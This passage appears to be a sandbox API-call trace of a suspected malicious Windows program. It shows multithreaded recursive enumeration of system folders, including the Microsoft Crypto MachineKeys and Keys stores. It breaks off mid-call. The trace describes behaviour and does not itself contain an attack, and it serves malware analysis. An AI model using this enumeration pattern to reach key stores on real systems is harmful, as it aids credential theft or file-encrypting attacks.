[0091.320] wcscat (in: _Dest=0x1cf4d800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\" [0091.320] wcscat (in: _Dest=0x1cf4d800, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*" [0091.320] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1f0a0 [0091.320] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\*", lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dc70 [0091.321] wcscmp (_String1=".", _String2=".") returned 0 [0091.321] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80105472, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80105472, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.321] wcscmp (_String1="..", _String2=".") returned 1 [0091.321] wcscmp (_String1="..", _String2="..") returned 0 [0091.321] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a8c6329, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a8c6329, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0091.321] wcscmp (_String1="v3.0", _String2=".") returned 1 [0091.321] wcscmp (_String1="v3.0", _String2="..") returned 1 [0091.321] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x1b7ade80 [0091.321] wcscpy (in: _Dest=0x1b7ade80, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0091.321] wcscat (in: _Dest=0x1b7ade80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\" [0091.321] wcscat (in: _Dest=0x1b7ade80, _Source="v3.0" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.0" [0097.644] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7ade80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd50 [0097.645] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0097.645] wcscmp (_String1="v3.5", _String2=".") returned 1 [0097.645] wcscmp (_String1="v3.5", _String2="..") returned 1 [0097.645] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x2027b4b0 [0097.645] wcscpy (in: _Dest=0x2027b4b0, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework" [0097.645] wcscat (in: _Dest=0x2027b4b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\" [0097.645] wcscat (in: _Dest=0x2027b4b0, _Source="v3.5" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5" [0097.645] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x2027b4b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x654 [0097.646] FindNextFileW (in: hFindFile=0x1cd9dc70, lpFindFileData=0x1ce1f0a0 | out: lpFindFileData=0x1ce1f0a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9a23a69d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x9a23a69d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0097.646] FindClose (in: hFindFile=0x1cd9dc70 | out: hFindFile=0x1cd9dc70) returned 1 [0097.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1f0a0) returned 1 [0097.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf4d800) returned 1 [0097.647] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b783cb0) returned 1 Thread: id = 440 os_tid = 0xb50 [0091.322] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82c580 [0091.322] wcscpy (in: _Dest=0x1b82c580, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0" [0091.323] wcscat (in: _Dest=0x1b82c580, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\" [0091.323] wcscat (in: _Dest=0x1b82c580, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*" [0091.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1df90 [0091.323] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9dcd0 [0091.323] wcscmp (_String1=".", _String2=".") returned 0 [0091.323] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.323] wcscmp (_String1="..", _String2=".") returned 1 [0091.323] wcscmp (_String1="..", _String2="..") returned 0 [0091.323] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 1 [0091.323] wcscmp (_String1="Replicate", _String2=".") returned 1 [0091.323] wcscmp (_String1="Replicate", _String2="..") returned 1 [0091.323] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x58) returned 0x1cd9dd30 [0091.323] wcscpy (in: _Dest=0x1cd9dd30, _Source="C:\\ProgramData\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0" [0091.323] wcscat (in: _Dest=0x1cd9dd30, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\" [0091.323] wcscat (in: _Dest=0x1cd9dd30, _Source="Replicate" | out: _Dest="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate") returned="C:\\ProgramData\\Adobe\\Acrobat\\10.0\\Replicate" [0097.240] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1cd9dd30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x9f0 [0097.240] FindNextFileW (in: hFindFile=0x1cd9dcd0, lpFindFileData=0x1ce1df90 | out: lpFindFileData=0x1ce1df90*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8000ce40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8000ce40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Replicate", cAlternateFileName="REPLIC~1")) returned 0 [0097.240] FindClose (in: hFindFile=0x1cd9dcd0 | out: hFindFile=0x1cd9dcd0) returned 1 [0097.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1df90) returned 1 [0097.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c580) returned 1 [0097.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c670) returned 1 Thread: id = 441 os_tid = 0x24c [0091.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9dd90 [0091.324] wcscpy (in: _Dest=0x1cd9dd90, _Source="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0" [0091.324] wcscat (in: _Dest=0x1cd9dd90, _Source="\\" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\" [0091.324] wcscat (in: _Dest=0x1cd9dd90, _Source="*" | out: _Dest="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*") returned="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*" [0091.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0091.325] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ddf0 [0091.327] wcscmp (_String1=".", _String2=".") returned 0 [0091.327] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.327] wcscmp (_String1="..", _String2=".") returned 1 [0091.327] wcscmp (_String1="..", _String2="..") returned 0 [0091.327] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1 [0091.327] wcscmp (_String1="AdbeRdrSecUpd10111.msp", _String2=".") returned 1 [0091.327] wcscmp (_String1="AdbeRdrSecUpd10111.msp", _String2="..") returned 1 [0091.327] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1 [0091.328] wcscmp (_String1="AdbeRdrUpd10110_MUI.msp", _String2=".") returned 1 [0091.328] wcscmp (_String1="AdbeRdrUpd10110_MUI.msp", _String2="..") returned 1 [0091.328] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 1 [0091.328] wcscmp (_String1="AdbeRdrUpd10116_MUI.msp", _String2=".") returned 1 [0091.328] wcscmp (_String1="AdbeRdrUpd10116_MUI.msp", _String2="..") returned 1 [0091.328] FindNextFileW (in: hFindFile=0x1cd9ddf0, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 0 [0091.328] FindClose (in: hFindFile=0x1cd9ddf0 | out: hFindFile=0x1cd9ddf0) returned 1 [0091.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0091.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9dd90) returned 1 [0091.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86370) returned 1 Thread: id = 442 os_tid = 0x75c [0091.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c19c0 [0091.331] wcscpy (in: _Dest=0x1b7c19c0, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client" [0091.331] wcscat (in: _Dest=0x1b7c19c0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\" [0091.331] wcscat (in: _Dest=0x1b7c19c0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*" [0091.331] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e470 [0091.331] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Assistance\\Client\\*", lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd86370 [0091.331] wcscmp (_String1=".", _String2=".") returned 0 [0091.332] FindNextFileW (in: hFindFile=0x1cd86370, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.332] wcscmp (_String1="..", _String2=".") returned 1 [0091.332] wcscmp (_String1="..", _String2="..") returned 0 [0091.332] FindNextFileW (in: hFindFile=0x1cd86370, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 1 [0091.332] wcscmp (_String1="1.0", _String2=".") returned 1 [0091.332] wcscmp (_String1="1.0", _String2="..") returned 1 [0091.332] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7865f0 [0091.332] wcscpy (in: _Dest=0x1b7865f0, _Source="C:\\ProgramData\\Microsoft\\Assistance\\Client" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client" [0091.332] wcscat (in: _Dest=0x1b7865f0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\" [0091.332] wcscat (in: _Dest=0x1b7865f0, _Source="1.0" | out: _Dest="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0") returned="C:\\ProgramData\\Microsoft\\Assistance\\Client\\1.0" [0097.242] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7865f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd64 [0097.242] FindNextFileW (in: hFindFile=0x1cd86370, lpFindFileData=0x1ce1e470 | out: lpFindFileData=0x1ce1e470*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0xa8f17049, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x243448f1, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0", cAlternateFileName="")) returned 0 [0097.242] FindClose (in: hFindFile=0x1cd86370 | out: hFindFile=0x1cd86370) returned 1 [0097.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1e470) returned 1 [0097.242] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7c19c0) returned 1 [0097.243] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86490) returned 1 Thread: id = 443 os_tid = 0xb0 [0091.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4c) returned 0x1cd86af0 [0091.333] wcscpy (in: _Dest=0x1cd86af0, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0091.333] wcscat (in: _Dest=0x1cd86af0, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\" [0091.333] wcscat (in: _Dest=0x1cd86af0, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*" [0091.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1dd20 [0091.333] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\*", lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd87030 [0091.333] wcscmp (_String1=".", _String2=".") returned 0 [0091.333] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd943744, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.333] wcscmp (_String1="..", _String2=".") returned 1 [0091.333] wcscmp (_String1="..", _String2="..") returned 0 [0091.334] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 1 [0091.334] wcscmp (_String1="MachineKeys", _String2=".") returned 1 [0091.334] wcscmp (_String1="MachineKeys", _String2="..") returned 1 [0091.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b786270 [0091.334] wcscpy (in: _Dest=0x1b786270, _Source="C:\\ProgramData\\Microsoft\\Crypto\\DSS" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS" [0091.334] wcscat (in: _Dest=0x1b786270, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\" [0091.334] wcscat (in: _Dest=0x1b786270, _Source="MachineKeys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys") returned="C:\\ProgramData\\Microsoft\\Crypto\\DSS\\MachineKeys" [0097.244] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b786270, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xd68 [0097.244] FindNextFileW (in: hFindFile=0x1cd87030, lpFindFileData=0x1ce1dd20 | out: lpFindFileData=0x1ce1dd20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd943744, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xb66d81ea, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MachineKeys", cAlternateFileName="MACHIN~1")) returned 0 [0097.244] FindClose (in: hFindFile=0x1cd87030 | out: hFindFile=0x1cd87030) returned 1 [0097.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce1dd20) returned 1 [0097.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd86af0) returned 1 [0097.244] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 Thread: id = 444 os_tid = 0xb14 [0091.341] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1cd86f70 [0091.341] wcscpy (in: _Dest=0x1cd86f70, _Source="C:\\ProgramData\\Microsoft\\Crypto\\Keys" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys" [0091.341] wcscat (in: _Dest=0x1cd86f70, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\") returned="C:\\ProgramData\\Microsoft\\Crypto\\Keys\\" [0091.341] wcscat (in: _Dest=0x1cd86f70, 